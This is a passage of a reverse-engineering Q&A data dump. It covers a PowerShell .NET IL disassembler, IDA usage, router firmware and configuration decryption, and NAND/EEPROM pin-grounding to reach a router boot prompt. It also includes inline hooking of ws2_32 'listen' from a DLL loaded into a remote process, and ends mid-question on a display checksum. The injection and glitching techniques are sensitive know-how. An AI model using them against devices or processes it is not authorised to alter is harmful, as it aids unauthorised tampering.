$Methods)&#xA;{&#xA;    Write-Host &quot;.method &quot; -NoNewline&#xA;    if ($method.IsPublic) &#xA;    { &#xA;        Write-Host &quot;public &quot; -NoNewline &#xA;    }&#xA;&#xA;    if ($method.IsPrivate) &#xA;    {&#xA;        Write-Host &quot;private &quot; -NoNewline&#xA;    }&#xA;&#xA;    if ($method.IsHideBySig) &#xA;    {&#xA;        Write-Host &quot;hidebysig &quot; -NoNewline&#xA;    }&#xA;&#xA;    if ($method.IsSpecialName) &#xA;    {&#xA;        Write-Host &quot;specialname &quot; -NoNewline&#xA;    }&#xA;&#xA;&#xA;    if ($method.GetParameters() -ne $null)&#xA;    {&#xA;        Write-Host $method.GetParameters()[0]&#xA;    }&#xA;    else&#xA;    {&#xA;         &quot;$($method.ReturnType.Name) $($method.Name)&quot;&#xA;    }&#xA;    Write-Host &quot;{&quot;&#xA;    $methodBody = $method.GetMethodBody()&#xA;    if ($methodBody -ne $null)&#xA;    {&#xA;        $ilBytes = $methodBody.GetILAsByteArray()&#xA;        $offset = 0&#xA;&#xA;        while ($offset -lt $ilBytes.Length)&#xA;        {&#xA;          Write-Host (&quot;IL_{0:x4}: &quot; -f $offset) -NoNewline&#xA;          [System.Int16]$code = $ilBytes[$offset++];&#xA;          if ($code -eq 0xfe)&#xA;          {&#xA;             [System.Int16]$code = $ilBytes[$offset++] -bor 0xfe00&#xA;          }&#xA;&#xA;          $opCode = $opCodeDictionary[[System.Int16]$code]&#xA;&#xA;          Write-Host $opCode.Name -NoNewline&#xA;          switch ($opCode.Name)&#xA;          {&#xA;            { $_ -eq &quot;call&quot; -or&#xA;              $_ -eq &quot;callvirt&quot; }&#xA;              {&#xA;                Write-Host &quot; &quot; -NoNewline&#xA;              }&#xA;            default { &#xA;                Write-Host &#xA;                }&#xA;          } &#xA;          switch ($opCode.OperandType)&#xA;          {&#xA;                &quot;InlineMethod&quot;&#xA;                {&#xA;                     $metaDataToken = [BitConverter]::ToInt32($ilBytes,$offset)&#xA;                     $genericMethodArguments = $null&#xA;                     if ($method.IsGenericMethod -eq $true)&#xA;                     {&#xA;                         $genericMethodArguments = $method.GetGenericArguments()&#xA;                     }&#xA;&#xA;                    ($method.Module.ResolveMethod(&#xA;                       $metaDataToken,&#xA;                       $method.DeclaringType.GetGenericArguments(),&#xA;                       $genericMethodArguments)).Name &#xA;&#xA;                    $offset += 4&#xA;                 }&#xA;&#xA;                &quot;InlineNone&quot;&#xA;                {&#xA;                }&#xA;&#xA;                { $_ -eq &quot;ShortInlineBrTarget&quot; -or&#xA;                  $_ -eq &quot;ShortInlineI&quot; -or&#xA;                  $_ -eq &quot;ShortInlineVar&quot; }&#xA;                {&#xA;                    $offset++&#xA;                }      &#xA;&#xA;                &quot;InlineVar&quot;&#xA;                {&#xA;                    $offset += 2&#xA;                }&#xA;&#xA;                { $_ -eq &quot;InlineBrTarget&quot; -or&#xA;                  $_ -eq &quot;InlineField&quot; -or&#xA;                  $_ -eq &quot;InlineI&quot; -or&#xA;                  $_ -eq &quot;InlineSig&quot; -or&#xA;                  $_ -eq &quot;InlineString&quot; -or&#xA;                  $_ -eq &quot;InlineTok&quot; -or&#xA;                  $_ -eq &quot;InlineType&quot; -or &#xA;                  $_ -eq &quot;ShortInlineR&quot; }&#xA;                {&#xA;                    $count = [BitConverter]::ToInt32($Ilbytes,$offset+1)&#xA;                    $offset += 4&#xA;                }&#xA;&#xA;                { $_ -eq &quot;InlineI8&quot; -or&#xA;                  $_ -eq &quot;InlineR&quot;&#xA;                }&#xA;                {&#xA;                    $offset += 8&#xA;                }&#xA;&#xA;                &quot;InlineSwitch&quot;&#xA;                {&#xA;                    $count = [BitConverter]::ToInt32($Ilbytes,$offset+1)&#xA;                    $offset += 4 * $count&#xA;                }&#xA;&#xA;            default &#xA;               { throw &quot;$($opCode.OperandType) not implemented&quot; }&#xA;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    Write-Host &quot;} // end of method $($method.DeclaringType.ToString())::$($method.Name)&quot;&#xA;    Write-Host &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2019-02-21T01:11:59.900" Title="Identify ldfld reference in .NET when parsing GetILAsByteArray" Tags="|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20674" PostTypeId="2" ParentId="20672" CreationDate="2019-02-21T00:38:02.277" Score="1" Body="&lt;p&gt;This can be resolved using ResolveField method, fixed example. Note this example still has limitation in that it is failing to resolve fields where I need to specify genericTypeArguments and genericMethodArguments to resolvefield.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fieldReference = [BitConverter]::ToInt32($Ilbytes,$offset)&#xA;                    try&#xA;                    {&#xA;                        $field = $method.Module.ResolveField($fieldReference)&#xA;                        Write-Host &quot;$($field.FieldType) $($field.ReflectedType.ToString())::$($field.Name)&quot;&#xA;                    }&#xA;                    catch&#xA;                    {&#xA;                        Write-Host (&quot;&amp;lt;Unresolved reference 0x{0:x}&amp;gt;&quot; -f $fieldReference)&#xA;                    }&#xA;                    $offset += 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updated within script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# command to decompile&#xA;$cmd = &quot;Get-Acl&quot;&#xA;&#xA;$cmdInfo = Get-Command -CommandType Cmdlet -Name $cmd&#xA;&#xA;$methods = $cmdInfo.ImplementingType.UnderlyingSystemType.GetMethods()&#xA;&#xA;$opCodeDictionary = @{}&#xA;ForEach ($field in [System.Reflection.Emit.OpCodes].GetFields())&#xA;{&#xA;    $fieldValue = $field.GetValue($null)&#xA;    $opCodeDictionary.Add($fieldValue.Value,$fieldValue)&#xA;}&#xA;ForEach ($method in $Methods)&#xA;{&#xA;    Write-Host &quot;.method &quot; -NoNewline&#xA;    if ($method.IsPublic) &#xA;    { &#xA;        Write-Host &quot;public &quot; -NoNewline &#xA;    }&#xA;&#xA;    if ($method.IsPrivate) &#xA;    {&#xA;        Write-Host &quot;private &quot; -NoNewline&#xA;    }&#xA;&#xA;    if ($method.IsHideBySig) &#xA;    {&#xA;        Write-Host &quot;hidebysig &quot; -NoNewline&#xA;    }&#xA;&#xA;    if ($method.IsSpecialName) &#xA;    {&#xA;        Write-Host &quot;specialname &quot; -NoNewline&#xA;    }&#xA;&#xA;&#xA;    if ($method.GetParameters() -ne $null)&#xA;    {&#xA;        Write-Host $method.GetParameters()[0]&#xA;    }&#xA;    else&#xA;    {&#xA;         &quot;$($method.ReturnType.Name) $($method.Name)&quot;&#xA;    }&#xA;    Write-Host &quot;{&quot;&#xA;    $methodBody = $method.GetMethodBody()&#xA;&#xA;    if ($methodBody -ne $null)&#xA;    {&#xA;        Write-Host &quot;.maxstack $($methodBody.MaxStackSize)&quot;&#xA;        if ($methodBody.LocalVariables -ne $null)&#xA;        {&#xA;            Write-Host &quot;.locals &quot; -NoNewline&#xA;            if ($methodBody.InitLocals -eq $True)&#xA;            {&#xA;                Write-Host &quot;init &quot; -NoNewline&#xA;            }&#xA;&#xA;            Write-Host &quot;(&quot; -NoNewLine&#xA;            ForEach ($local in $methodBody.LocalVariables)&#xA;            {&#xA;                if ($local.LocalIndex -eq 0)&#xA;                {&#xA;                    Write-Host &quot;$($local.LocalType) V_$($local.LocalIndex)&quot; -NoNewline&#xA;                }&#xA;                else&#xA;                {&#xA;                    Write-Host &quot;,`n`t$($local.LocalType) V_$($local.LocalIndex)&quot;&#xA;                }&#xA;            }&#xA;&#xA;            Write-Host &quot;)&quot;&#xA;        }&#xA;        $ilBytes = $methodBody.GetILAsByteArray()&#xA;        $offset = 0&#xA;&#xA;        while ($offset -lt $ilBytes.Length)&#xA;        {&#xA;          Write-Host (&quot;IL_{0:x4}: &quot; -f $offset) -NoNewline&#xA;          [System.Int16]$code = $ilBytes[$offset++];&#xA;          if ($code -eq 0xfe)&#xA;          {&#xA;             [System.Int16]$code = $ilBytes[$offset++] -bor 0xfe00&#xA;          }&#xA;&#xA;          $opCode = $opCodeDictionary[[System.Int16]$code]&#xA;&#xA;          Write-Host &quot;$($opCode.Name) &quot; -NoNewline&#xA;&#xA;          switch ($opCode.OperandType)&#xA;          {&#xA;                &quot;InlineMethod&quot;&#xA;                {&#xA;                     $metaDataToken = [BitConverter]::ToInt32($ilBytes,$offset)&#xA;                     $genericMethodArguments = $null&#xA;                     if ($method.IsGenericMethod -eq $true)&#xA;                     {&#xA;                         $genericMethodArguments = $method.GetGenericArguments()&#xA;                     }&#xA;&#xA;                    ($method.Module.ResolveMethod(&#xA;                       $metaDataToken,&#xA;                       $method.DeclaringType.GetGenericArguments(),&#xA;                       $genericMethodArguments)).Name &#xA;&#xA;                    $offset += 4&#xA;                 }&#xA;&#xA;                &quot;InlineNone&quot;&#xA;                {&#xA;                }&#xA;&#xA;                { $_ -eq &quot;ShortInlineBrTarget&quot; -or&#xA;                  $_ -eq &quot;ShortInlineI&quot; -or&#xA;                  $_ -eq &quot;ShortInlineVar&quot; }&#xA;                {&#xA;                    $offset++&#xA;                }      &#xA;&#xA;                &quot;InlineVar&quot;&#xA;                {&#xA;                    $offset += 2&#xA;                }&#xA;&#xA;                &quot;InlineString&quot;&#xA;                {&#xA;                    $stringReference = [BitConverter]::ToInt32($Ilbytes,$offset)&#xA;                    try&#xA;                    {&#xA;                        $stringInfo = $method.Module.ResolveString($stringReference)&#xA;                        Write-Host &quot;`&quot;$stringInfo`&quot;&quot;&#xA;                    }&#xA;                    catch&#xA;                    {&#xA;                        Write-Host (&quot;&amp;lt;Unresolved reference 0x{0:x}&amp;gt;&quot; -f $fieldReference)&#xA;                    }&#xA;                    $offset += 4&#xA;                }&#xA;&#xA;                &quot;InlineType&quot;&#xA;                {&#xA;                    $typeReference = [BitConverter]::ToInt32($Ilbytes,$offset)&#xA;                    try&#xA;                    {&#xA;                        $typeInfo = $method.Module.ResolveType($typeReference)&#xA;                        Write-Host &quot;$($typeInfo.BaseType.ToString())::$($typeInfo.Name)&quot;&#xA;                    }&#xA;                    catch&#xA;                    {&#xA;                        Write-Host (&quot;&amp;lt;Unresolved reference 0x{0:x}&amp;gt;&quot; -f $fieldReference)&#xA;                    }&#xA;                    $offset += 4&#xA;                }&#xA;&#xA;                { $_ -eq &quot;InlineBrTarget&quot; -or&#xA;                  $_ -eq &quot;InlineField&quot; -or&#xA;                  $_ -eq &quot;InlineI&quot; -or&#xA;                  $_ -eq &quot;InlineSig&quot; -or&#xA;                  $_ -eq &quot;InlineTok&quot; -or&#xA;                  $_ -eq &quot;ShortInlineR&quot; }&#xA;                {&#xA;                    $fieldReference = [BitConverter]::ToInt32($Ilbytes,$offset)&#xA;                    try&#xA;                    {&#xA;                        $field = $method.Module.ResolveField($fieldReference)&#xA;                        Write-Host &quot;$($field.FieldType) $($field.ReflectedType.ToString())::$($field.Name)&quot;&#xA;                    }&#xA;                    catch&#xA;                    {&#xA;                        Write-Host (&quot;&amp;lt;Unresolved reference 0x{0:x}&amp;gt;&quot; -f $fieldReference)&#xA;                    }&#xA;                    $offset += 4&#xA;                }&#xA;&#xA;                { $_ -eq &quot;InlineI8&quot; -or&#xA;                  $_ -eq &quot;InlineR&quot;&#xA;                }&#xA;                {&#xA;                    $offset += 8&#xA;                }&#xA;&#xA;                &quot;InlineSwitch&quot;&#xA;                {&#xA;                    $count = [BitConverter]::ToInt32($Ilbytes,$offset+1)&#xA;                    $offset += 4 * $count&#xA;                }&#xA;&#xA;            default &#xA;               { throw &quot;$($opCode.OperandType) not implemented&quot; }&#xA;&#xA;            }&#xA;&#xA;            Write-Host &quot;&quot; &#xA;        }&#xA;    }&#xA;&#xA;    Write-Host &quot;} // end of method $($method.DeclaringType.ToString())::$($method.Name)&quot;&#xA;    Write-Host &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2019-02-21T01:11:59.900" LastActivityDate="2019-02-21T01:11:59.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20676" PostTypeId="2" ParentId="8219" CreationDate="2019-02-21T10:57:30.703" Score="3" Body="&lt;p&gt;To find it using IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ida_loader.get_fileregion_offset(ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &quot;ea&quot; is your virtual offset like &lt;code&gt;0x400000&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25443" LastEditorUserId="18014" LastEditDate="2019-02-21T11:24:26.210" LastActivityDate="2019-02-21T11:24:26.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20677" PostTypeId="1" CreationDate="2019-02-21T12:50:33.797" Score="0" ViewCount="425" Body="&lt;p&gt;actually i don't know where the problem but i will describe it &#xA;I am trying to analyse the firmware of a router and i could extract it and i got these files &#xA;libxmlapi.so&#xA;libhttpapi.so&#xA;libcfmapi.so&#xA;libmsgapi.so&#xA;But I can't read the file like this way in the IDA &lt;img src=&quot;https://i.stack.imgur.com/phX1R.png&quot; alt=&quot;that&amp;#39;s how the tutorial show the file &quot;&gt;&#xA;and here is how it does like in my computer &#xA;&lt;a href=&quot;https://i.stack.imgur.com/TkYUM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TkYUM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;That's the link of the tutorial that i was following &lt;a href=&quot;https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/&lt;/a&gt;&#xA;But when i view the file in IDA mode it shows like 1 letter in every line and there is nothing like urk so i can determine the string that i have to copy to continue the tutorial&#xA;Here is the files so maybe someone want to take a look at them &#xA;&lt;a href=&quot;https://drive.google.com/open?id=1cU9qgAsKecfLNuM7RLrBoin5DHl2GsB1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1cU9qgAsKecfLNuM7RLrBoin5DHl2GsB1&lt;/a&gt;&#xA;I tried 3 other firmwares and i couldn't find any thing useful in them ( one of them is tested by other one and he could do it right ) &lt;/p&gt;&#xA;" OwnerUserId="27530" LastEditorUserId="27530" LastEditDate="2019-02-21T21:30:46.223" LastActivityDate="2019-02-22T05:57:16.177" Title="Switching from seg to text in IDA-View" Tags="|assembly|firmware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20678" PostTypeId="2" ParentId="20671" CreationDate="2019-02-21T16:09:56.600" Score="1" Body="&lt;p&gt;As I know that specific glitch is specific to that device. I.e. it's firmware is written so that the device switches to the prompt in case it failed to access NAND. And if there was some other logic, like &quot;reboot the device if NAND is not accessible&quot;, this NAND glitch won't be exploitable at all. Thus if it will work for EEPROM or not, depends on how the boot logic is organized in TG582N firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the EEPROM pin, which you need to ground: &lt;a href=&quot;https://www.exploitee.rs/index.php/Wink_Hub&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.exploitee.rs/index.php/Wink_Hub&lt;/a&gt;​​ they are grounding pin 29 of NAND chip, which is I/O1 pin. In case of EEPROM (which in your case is s25fl064l) I would try to ground SO/IO 1, SO/IO 0 pins, see the datasheet of s25fl064l.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="22324" LastEditDate="2019-02-25T08:31:07.230" LastActivityDate="2019-02-25T08:31:07.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20679" PostTypeId="2" ParentId="20653" CreationDate="2019-02-21T17:29:43.617" Score="1" Body="&lt;p&gt;Come to think of it, apart from my other answer, there's a feature of IDA that I forgot: put your cursor on the call and do Edit-&gt;Plugins-&gt;Change the callee address (Alt-F11).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2019-02-21T17:29:43.617" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20680" PostTypeId="1" CreationDate="2019-02-22T05:30:03.300" Score="0" ViewCount="272" Body="&lt;p&gt;I need to execute some instructions of library I'm using (ws2_32.dll) inside my C code, but I have a problem with a simple cmp instruction. &#xA;Followed by IDA, this instruction is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp off_41AE7048, offset sub_41AC2E29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run my application in debugger, this above pice of code becomes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMP DWORD PTR DS:[77517048],WS2_32.774F2E29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this excatly mean? &#xA;Where this address(?) 77517048 came from? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I code comething like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, DWORD ptr DS:[0x41AE7048]&#xA;cmp eax, DWORD ptr DS:[0x41AC2E29]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but as I expected it doesn't work -&gt; program crashes.&lt;/p&gt;&#xA;&#xA;###### EDIT&#xA;&#xA;&lt;p&gt;A little bit of explanation. I'm doing inline hook on listen function  from ws2_32.dll library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my own dll  - hook.dll, which will be loaded into remote process. &#xA;Inside this dll I have funcion called listen_hook_wrapper; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the dll is loaded into remote process, inside dllMain I'm overriding a few first instructions of 'listen' function, by loading my own code which is simple jump into 'listen_hook_wrapper'. To simplify, let's called this jump as trampoline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside listen_hook_wrapper I'm taking listen's arguments, process them, and after all I would like to return executing to listen function, but before I will jump into listen function, I must execute listen's instructions which were overrided by my 'trampoline'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions of listen function, which were overriden by my trampoline are: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edi, edi&#xA;push ebp&#xA;mov ebp, esp&#xA;push ecx&#xA;cmp off_41AE7048, offset sub_41AC2E29 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After I execute this set of instruction I can jump back into listen function, and it should continue executing properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was writing this post I couldn't figure out what excatly is (what it is doing):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cmp off_41AE7048, offset sub_41AC2E29 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and why executing this inside my trampoline causes errors, but now I think that it's because relocations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned above, when I take a look inside listen function during execution, the instrucion above becomes: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CMP DWORD PTR DS:[77517048],WS2_32.774F2E29&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Let's compare this two addresses: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;41AE7048 and 77517048. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They have common part which is ****7048. &#xA;As I know the 4**** is the default base address assigned during compile process, and the 7**** is address where usually dlls are loaded. So I think I need just update the instruction:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cmp off_41AE7048, offset sub_41AC2E29 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;by applying relocations, using the base address which was assigned in runtime by aslr mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't test it right now, but I think that it makes sense isn't it? &lt;/p&gt;&#xA;" OwnerUserId="25385" LastEditorUserId="25385" LastEditDate="2019-02-22T07:28:43.513" LastActivityDate="2019-02-22T11:49:19.523" Title="Executing CMP DS:[] by inline assembly inline hooks" Tags="|disassembly|assembly|function-hooking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20681" PostTypeId="2" ParentId="20677" CreationDate="2019-02-22T05:57:16.177" Score="1" Body="&lt;p&gt;Welcome to RE.SE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you elaborate which version of IDA you are using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files you shared were ELF shared objectes based on the ARM architecture. Although ELF is a well defined executable format, its seems IDA tries to disassemble the file as &lt;em&gt;RAW&lt;/em&gt;. This means it doesn't parse the file format and can not tell apart code from data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are utilizing IDAs free version, this is most likely due to the problem that is does not include arm support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YJUfY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJUfY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could use other tools, such as objdump, radare2 or even online services like &lt;a href=&quot;https://onlinedisassembler.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;onlinedisassembler.com&lt;/a&gt; for free.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2019-02-22T05:57:16.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20682" PostTypeId="2" ParentId="20657" CreationDate="2019-02-22T09:26:43.263" Score="2" Body="&lt;p&gt;&lt;code&gt;print_decls(ordinals_sring, flags)&lt;/code&gt; return a string with the same content as the &quot;export to header file&quot; option in the GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ordinals string can contain multiple ordinals seperated with a comma and all PDF_ Flags can be used (for example PDF_INCL_DEPS).&lt;/p&gt;&#xA;" OwnerUserId="27505" LastActivityDate="2019-02-22T09:26:43.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20683" PostTypeId="1" CreationDate="2019-02-22T10:55:13.413" Score="0" ViewCount="562" Body="&lt;p&gt;I tried to find lua_pcall, lua_newthread, luaL_loadbuffer, lua_tolstring, lua_pushcclosure and lua_pushinteger functions with IDA decompiler but I didn't find them. Can someone please tell me what is best way to find this lua functions?&lt;/p&gt;&#xA;" OwnerUserId="27538" LastActivityDate="2019-02-22T10:55:13.413" Title="Finding lua addresses with ida" Tags="|ida|lua|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20684" PostTypeId="2" ParentId="20680" CreationDate="2019-02-22T11:22:46.783" Score="1" Body="&lt;p&gt;Thanks for your ellaborations. All I had was the Win10 (64bit) version of winsock. The start of the listen function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ob4m2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ob4m2.png&quot; alt=&quot;listen function prolog&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the cmp instruction compares a fixed 32bit value (&lt;code&gt;0x4f7902a0&lt;/code&gt;) to something in the &lt;code&gt;.data&lt;/code&gt;-section of the library. As you can see, in the case they are not equal, there is another check of a data value and in the end its seems to decide whether to set a local variable to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XwQPo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XwQPo.png&quot; alt=&quot;data section&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the global variable which is checked contains the right value as per default. I can only speculate what is does... When you use the acutal pdb, you can see that it is a function pointer (PrologPointer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/egdQh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/egdQh.png&quot; alt=&quot;data section with pdb&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But back to the core question. Without any meta information, when we decompile the instruction in question, we get the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8b3500507c4f   mov    esi,DWORD PTR [rip+0x4f7c5000]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The library wants to be loaded at &lt;code&gt;0x4f780000&lt;/code&gt;. And the data is supposed to be read from &lt;code&gt;rip+0x4f7c5000&lt;/code&gt;. Basically, this code is position independent and utilized a fixed offset between the dll base and its code section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, you should be able to install your hook in less than 9 bytes. Windows functions conveniently always utilize the standard function preamble, which is pretty easy to hook (e.g. with a far jump (5 bytes)). If that is not the case, you'll have to account for the relative address or skip the check altogether.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2019-02-22T11:49:19.523" LastActivityDate="2019-02-22T11:49:19.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20685" PostTypeId="1" CreationDate="2019-02-22T14:05:38.063" Score="0" ViewCount="77" Body="&lt;p&gt;Look at this very basic javascript code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (s=='abcd')&#xA;{&#xA;    if (s2='cdef')&#xA;    {&#xA;       ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to hook all tests: I want to get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(s,'==','abcd')&#xA;(s2,'==','cdef')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to put hooks into v8 but it is not easy...&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="18590" LastEditDate="2019-02-22T14:45:41.987" LastActivityDate="2019-02-22T14:45:41.987" Title="javascript hook comparisons" Tags="|javascript|hooking|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20686" PostTypeId="1" CreationDate="2019-02-22T14:49:18.680" Score="0" ViewCount="1049" Body="&lt;p&gt;Attempting to reverse-engineer a checksum for a serial timing device that updates a display. Protocol is partly understood, however the checksum calculation specified does not produce the expected value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to understand what is happening in this protocol, as I would like to write to the display with my own software and not just sniff the data.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Known parameters:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RS-485 half duplex&lt;/li&gt;&#xA;&lt;li&gt;8n1&lt;/li&gt;&#xA;&lt;li&gt;DATA0...n transmitted unchanged, low nibbles are BCD (0-9)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(EDIT) this is likely not the case, as the spec I have does not seem to be the correct one. Disregard the following point.&lt;/em&gt; ADDR byte and CSUM byte split into two bytes each, hi and lo nibbles might be split between the two bytes, however I'm confused as to why it appears that the ADDR byte is a start flag byte. &lt;/li&gt;&#xA;&lt;li&gt;sub_ADDR matches the protocol specification, used to identify the data in the packet to a specific part of the display, and possibly to different displays&lt;/li&gt;&#xA;&lt;li&gt;One-way communication &lt;em&gt;(EDIT) one-to-many master-slave likely&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;FEC appears to be &quot;repeat the message&quot; as all packets are immediately duplicated in the recorded stream, i.e. 1,1,2,2,3,3..etc.&lt;/li&gt;&#xA;&lt;li&gt;Receiver likely &quot;pretends it never happened&quot; if packets are mangled as past data is irrelevant&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(EDIT) All packets are of known length and the lengths do not change in the data set&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;(EDIT: CRITICAL INFO) Low nibbles of bytes labeled A3-A6 and B3-B6 represent digits 0-9 as BCD. A value of 0x0f would blank the digit on the display.&lt;/em&gt;[1] Therefore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0a 0c 02 00 60 00 80 0b -&amp;gt; &quot;20:00&quot;&#xA;28 0c 02 00 60 00 80    -&amp;gt; &quot;20:00&quot;&#xA;0a 0c 01 09 65 09 d8 0b -&amp;gt; &quot;19:59&quot;&#xA;0a 0c 0f 09 65 09 80 0b -&amp;gt; &quot; 9:59&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(EDIT) High nibbles of A3-A6 contain flag bits. Known flag bits include bit 6 in DATA2 (A5,B5) which indicates state == running, and bit 5 in DATA2 (A5,B5) which indicates colon == on.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First question:&lt;/strong&gt; If the FEC is indeed &quot;repeat&quot;, does it follow that the designer would incorporate a CSUM? Perhaps the packets that appear to be CSUM are something else not documented?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Packet 